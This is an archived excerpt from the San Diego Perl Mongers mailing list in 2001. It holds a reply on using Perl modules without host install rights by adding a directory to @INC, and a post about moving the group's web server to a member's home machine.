0095 Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From taa0 at cris.com Wed May 23 20:27:06 2001 From: taa0 at cris.com (Tom Adams) Date: Thu Aug 5 00:20:20 2004 Subject: Modules References: <200105231643.JAA18739@neko.cts.com> Message-ID: <3B0C636A.26A66820@cris.com> ~sdpm~ Joel Fentin wrote: > ~sdpm~ > Tom: > > > Also: > > > > http://www.perl.com/pub/doc/manual/html/pod/perlmodinstall.html > > This is not relevant to me. I am in no position to install modules at the > host. I suppose I could find the latest version of the desired module and > copy it to where my application program is. Is this what is normally done? That's one way. Do 'perl -V' and that will tell you what's in the @INC array. You could put something like BEGIN { push(@INC, "mylibdir"); } near the top of your script, where "mylibdir" is the path to the folder where you keep your modules. > > ========================= > > > http://www.perl.com/pub/doc/manual/html/pod/perlfunc/use.html > > > > > > An excerpt: > > > > > > If the first argument to use is a number, it is treated as a version > number > > > instead of a module name. If the version of the Perl interpreter is > less than > > > VERSION, then an error message is printed and > > > Perl exits immediately. > > Yes, that tells me what the problem is. I already knew that. What I asked > for was common usage in such cases. Do you eliminate the offending line in > the .pm? Is there another common solution? Presumably the author of the module specified a particular version because earlier versions wouldn't work with it. > > > -- > Joel Fentin tel: 760-749-8863 FAX: 760-749-8864 > > email: joel@fentin.com web: Fentin.com > > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to . > This is the general rule for most mailing lists when you need > to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From bruce at brtnet.org Fri May 25 15:28:58 2001 From: bruce at brtnet.org (Bruce Timberlake) Date: Thu Aug 5 00:20:20 2004 Subject: SDPM web server References: Message-ID: <003701c0e559$53b82140$02f39140@develop> ~sdpm~ Hi all fellow SDPMs. Just a quick update on our server (which went offline a day or two before our last meeting): I have been unable to contact Mike @UCSD regarding our old web server. So I have had PM.org point the DNS at my server for the time being. They just changed it a while ago; major servers (Earthlink for one) appear to have propogated already. But it may take a day or so for it to fully spread. Downside -- nothing off the old server (personal account-wise) made it across; I just happened to have a copy of the index.html page on my PC, and uploaded it to the new server. So there are no more shell accounts, etc, right now. (I'm hosting this on a Sun Cobalt RaQ, which does not have a "standard" Perl installation. Plus it's on my iDSL line, so not much bandwidth is available at the moment either...) We're working on a more permanent solution; in the meantime you can now get directions to the meetings, info on how to sign up for the mailing list (moot if you're reading this, I suppose), and all the usual links, etc. If anyone knows of some hardware we can build a server on (if we can get enough drive space, we could do our own CPAN mirror!), or has a company with bandwidth and an IP address to spare, please let me or Il Presidente Kleeman (rkleeman@energoncube.net) know! Some sort of free plug ("Hosted by...", etc) for the generous provider(s) can be arranged I'm sure... =:^) Have a great (and SAFE) weekend! -- Bruce ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human.